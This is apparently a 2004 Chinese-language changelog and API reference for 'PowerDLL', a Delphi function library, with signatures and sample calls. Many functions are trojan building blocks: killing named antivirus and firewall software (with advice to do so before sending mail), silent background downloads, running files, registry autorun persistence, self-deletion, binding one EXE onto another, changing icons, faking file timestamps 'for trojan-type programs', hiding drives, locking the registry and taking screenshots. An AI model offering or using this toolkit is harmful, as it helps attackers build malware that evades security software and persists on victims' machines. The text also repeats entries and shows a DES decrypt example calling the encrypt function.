2004-07-18 增加函数:DefaultAll和GetFileSize,本DLL支持自动注册。 function DefaultAll:Boolean;Stdcall; //此函数能够解锁注册表、恢复IE首页以及恢复默认记事本关联。 function GetFileSize(FileName:PChar):Integer;stdcall; //此函数能够返回一个文件的大小,FileName参数为要返回大小的文件的完整路径及文件名。 2004-07-12 修正了函数RegActiveX并使此DLL具有自动注册的功能。 function RegActiveX(ActiveXFileName:PChar;Active:Boolean):Boolean;stdcall; //此函数用于注册或者反注册ACTIVEX控件。假如要注册C:\abc.dll这个控件,则调用方法为:RegActiveX('C:\abc.dll',True); 2004-07-08 新增了几个关于MD5以及DES加密解密方面的函数: function MD5String(S:PChar):PChar; Stdcall; 此函数为MD5加密字符串,假如我们要加密字符串"12345678",则调用方式为:MD5String('12345678'),此函数将返回加密后的字符串。 function MD5File(FileName:PChar):PChar; Stdcall; 此函数为MD5取得文件大小后加密得到的字符串,对于防止程序被修改或者破解有很大的作用。 function DESEncryStr(Str, Key:PChar):PChar; Stdcall; 此函数为DES加密字符串,假如我们要加密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回加密后的字符串。 function DESDecryStr(Str, Key:PChar):PChar; Stdcall; 此函数为DES解密字符串,假如我们要解密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回解密后的字符串。
2004-6-22 修正了DeleteDir函数,这样,此函数可以删除除系统盘外任何盘中的所有文件。 function DeleteDir(Dir:PChar):Boolean;stdcall; //此函数为删除一个目录,此函数具有危险性,请慎调用。假设D盘下有music目录,调用方法为:DeleteDir('D:\music');
2004-6-16新增一个函数,同时又修改了SendEMail函数: function GetDiskNumber:PChar;Stdcall; //此函数可以获得IDE硬盘的序列号。
2004-6-11新增两个函数: function Killer:Boolean;Stdcall; //此函数具有杀防火墙以及杀毒软件等功能,比如瑞星杀毒软件的实时监控,天网防火墙等。 function SendEMail(Smtp,UserName,Password,MailAddress,ToMailAddress,Subject,MailText:PChar):Boolean;Stdcall; //此函数,在参数准确无误的情况下具有发信的功能。 调用方法:如果我们在网易(http://www.163.com)上有一个信箱,用户名假设是:123,密码假设是:456,我们要发信给邮件地址:123456@163.com,那我们调用此函数的例子为: SendEMail('smtp.163.com','123','456','123@163.com','123456@163.com','这是这封邮件的主题!','这是这封信的内容,可以随便啦.'); 说明:有些时候,在杀毒软件或者防火墙运行的时候,发信会失败的,所以见议发信前先Killer一下! //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// function PowerDllabout:PChar;stdcall; //关于POWERDLL的版权信息及说明; function GetWindir:PChar;stdcall; //获取WINDOWS目录的路径,例如在XP系统中,调用后返回的结果为:'c:\windows' function GetSysDir:PChar;stdcall; //获取SYSTEM目录的路径,例如在XP系统中,调用后返回的结果为:'c:\windows\system32' function KillProcess(ProcessName:PChar):boolean;stdcall; //此函数能关闭一个进程。例如关闭正在运行中的QQ。调用为:KillProcess('QQ.EXE'); function FindProcess(ExeFileName:PChar):boolean;stdcall; //此函数能寻找一个进程。例如寻找QQ的进程。调用为:FindProcess('QQ.EXE'); 如果系统中有此进程返回TRUE,否则返回FALSE。 function CloseWindow(ClassName,WindowName:PChar):boolean;stdcall; //用于闭关一个窗口。例如关闭已经打开的“我的电脑”,调用方式为:CloseWindow(','我的电脑'); function GetProcessFilePath(ProcessName:PChar):PChar;stdcall; //此函数能够获得在内存中运行着的程序的路径,如果参数ProcessName的进程存在,则函数会返回ProcessName的路径。 function HideDesktop(IsTrue:Boolean):boolean;stdcall; //此函数能句隐藏/显示桌面。参数中为TRUE时为隐藏,为FALSE时为显示。 function HideTaskbar(IsBool:Boolean):boolean;stdcall; //此函数能句隐藏/显示状态栏。参数中为TRUE时为隐藏,为FALSE时为显示。 function GetDateTime:PChar;stdcall; //此函数获取当时的日期及时间。 function GetDiskNumber:PChar;Stdcall; //此函数可以获得IDE硬盘的序列号。 function GetCpuId:PChar;stdcall;//assembler;register; //此函数用于获得CPU的ID。 function IsNT:Boolean;stdcall; //此函数判断当时系统是否为NT内核的操作系统。 function GetOSInfo:PChar;stdcall; //此函数获得系统的信息。如果为WINDOWS98会返回字符串'windows',如果为NT及NT以上的操作系统会返回字符串'NT'. function ShutDown:boolean;stdcall; //此函数为关机函数。
function DeleteDir(Dir:PChar):Boolean;stdcall; //此函数为删除一个目录,此函数具有危险性,请慎调用。假设D盘下有music目录,调用方法为:DeleteDir('D:\music'); function GetFileSize(FileName:PChar):Integer;stdcall; //此函数能够返回一个文件的大小,FileName参数为要返回大小的文件的完整路径及文件名。 function SetFileTime(SourceFile,Targetfile:PChar):boolean;stdcall; //设置文件的时间,用于木马类程序。此函数将第二个参数中的文件的建立时间修改为第一个参数中的文件的建立时间。 function DeleteDir(Dir:PChar):Boolean;stdcall; //此函数为删除一个目录,此函数具有危险性,请慎调用。假设D盘下有music目录,调用方法为:DeleteDir('d:\music'); function RunFile(FileName:PChar):boolean;stdcall; //运行程序。系统将启动一个线程运行参数中的EXE文件。例如想运行系统目录(XP中的为SYSTEM32)中的SOCK.EXE: //RunFile('c:\windows\system32\sock.exe'); function DownloadFile(SourceFile,Targetfile:PChar):boolean;stdcall; //此函数为自动下载文件,不会提示下载对话框而后台下载。调用方法为:DownloadFile('http://www.sohu.com/abc.zip','c:\abc.zip');
function AutoRun(KeyValue:PChar;FileName:PChar):boolean;stdcall; //此函数写注册表,能让设定的程序随系统的启动而自动运行。第一个参数为写入注册表中的键值名。调用方法为: //AutoRun('MyExe','c:\windows\abc.exe'); //function LockMe(filename1:PChar;filename2:PChar;key1:PChar;key2:PChar):boolean;stdcall; //function LinkTxt(FileName1,FileName2:PChar;B:Byte):Boolean; function DeleteMe:boolean;stdcall; //此函数为程序自杀函数。调用后关闭自己的程序即可。请不要在调试的环境下使用此函数。
function HideHarddisk(HardDiskNumber:integer):boolean;stdcall; //此函数修改注册表以隐藏硬盘,重启计算机后将生效。例如隐藏C盘的调用方法为:HideHarddisk(4); function LockReg(B:Byte):boolean;stdcall; //此函数对注册表编辑器有锁定和解锁的功能。 function DefaultIE:boolean;stdcall; //此函数在IE的标题或者起始页被恶意网站修改的情况下能对其恢复。
function KillPopup:boolean;stdcall; //此函数为屏蔽IE中的广告窗口。 function LocalIP:PChar;stdcall; //获取本机的IP地址。 function GetScreen(IncludeCur:Boolean;FileName:PChar):boolean;stdcall; //获得屏幕的图像内容,即屏幕抓图。前一个参数是是否抓取鼠标,后一个参数为抓取图像后存为的文件名。调用方法: //GetScreen(true,'c:\Screen.bmp');
//function InstallIcon(IsTrue:Boolean;Handle:THandle;IconHandle:THandle;szTipStr:PChar):boolean;stdcall; function IsStopRun(TheWindow: HWnd; timeOut: Longint): Boolean;stdcall; //此函数用于判断一个程序是否已经停止运行,如果停止将返回TRUE。调用方法为:IsStopRun('我的电脑',1000); function LoadFromFile(SourceFile,TargetFile :PChar):Boolean;stdcall; //此函数与下一函数相对应。用于释放被加入的EXE文件。 function AddtoFile(SourceFile,Targetfile:PChar):Boolean;stdcall; //此函数将第一个参数中的EXE文件加到第二个参数的EXE文件的尾部。 function ChangeExeIcon(ExeFile,Iconfile:PChar;Index:Integer=0):Boolean;stdcall; //此函数可以改变一个有图标的EXE文件的图标。调用方法为:ChangeExeIcon('c:\exe.exe','c:\ico.ico'); function OpenCDRom(B:Byte):Boolean;stdcall; function PlayMusic(Enabled:Boolean;FileName:PChar):boolean;stdcall; //此函数用于播放一个音乐文件,文件类型为当前系统MCI支持的类型。调用方法为:PlayMusic(true,'c:\love.mp3'); function ClearCmosPassword:Boolean;stdcall; //此函数用于在98系统下清除CMOS的密码。 function DefaultAll:Boolean;Stdcall; //此函数能够解锁注册表、恢复IE首页以及恢复默认记事本关联。
function RegActiveX(ActiveXFileName:PChar;Active:Boolean):Boolean;stdcall; //此函数用于注册或者反注册ACTIVEX控件。假如要注册C:\abc.dll这个控件,则调用方法为:RegActiveX('C:\abc.dll',True);
function MD5String(S:PChar):PChar; Stdcall; 此函数为MD5加密字符串,假如我们要加密字符串"12345678",则调用方式为:MD5String('12345678'),此函数将返回加密后的字符串。 function MD5File(FileName:PChar):PChar; Stdcall; 此函数为MD5取得文件大小后加密得到的字符串,对于防止程序被修改或者破解有很大的作用。 function DESEncryStr(Str, Key:PChar):PChar; Stdcall; 此函数为DES加密字符串,假如我们要加密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回加密后的字符串。 function DESDecryStr(Str, Key:PChar):PChar; Stdcall; 此函数为DES解密字符串,假如我们要解密字符串S,钥匙为"123",则调用方式为:DESEncryStr(S,'123'),此函数将返回解密后的字符串。
function Killer:Boolean;Stdcall; //此函数具有杀防火墙以及杀毒软件等功能,比如瑞星杀毒软件的实时监控,天网防火墙等。 function SendEMail(Smtp,UserName,Password,MailAddress,ToMailAddress,Subject,MailText:PChar):Boolean;Stdcall; //此函数,在参数准确无误的情况下具有发信的功能。 调用方法:如果我们在网易(http://www.163.com)上有一个信箱,用户名假设是:123,密码假设是:456,我们要发信给邮件地址:123456@163.com,那我们调用此函数的例子为: SendEMail('smtp.163.com','123','456','123@163.com','123456@163.com','这是这封邮件的主题!','这是这封信的内容,可以随便啦.'); ////////////////////////////////////////////////////////////////////////////////////// 在DELPHI中的调用例子如下(新建一工程并保存,将PowerDLL.dll拷贝到工程的同目录中,在一按钮的CLICK事件中为以下代码): procedure TMainForm.BAboutClick(Sender: TObject); var PowerDLLabout:function:pchar;stdcall; Handle: THandle; begin try if not FileExists('PowerDLL.dll') then exit; Handle := LoadLibrary('PowerDLL.dll'); if Handle <> 0 then @PowerDLLabout := GetProcAddress(Handle,'PowerDllAbout'); if @PowerDLLabout <> nil then ShowMessage(PowerDLLabout); FreeLibrary(Handle); except end; end; ////////////////////////////////////////////////////////////////////////////////////////////////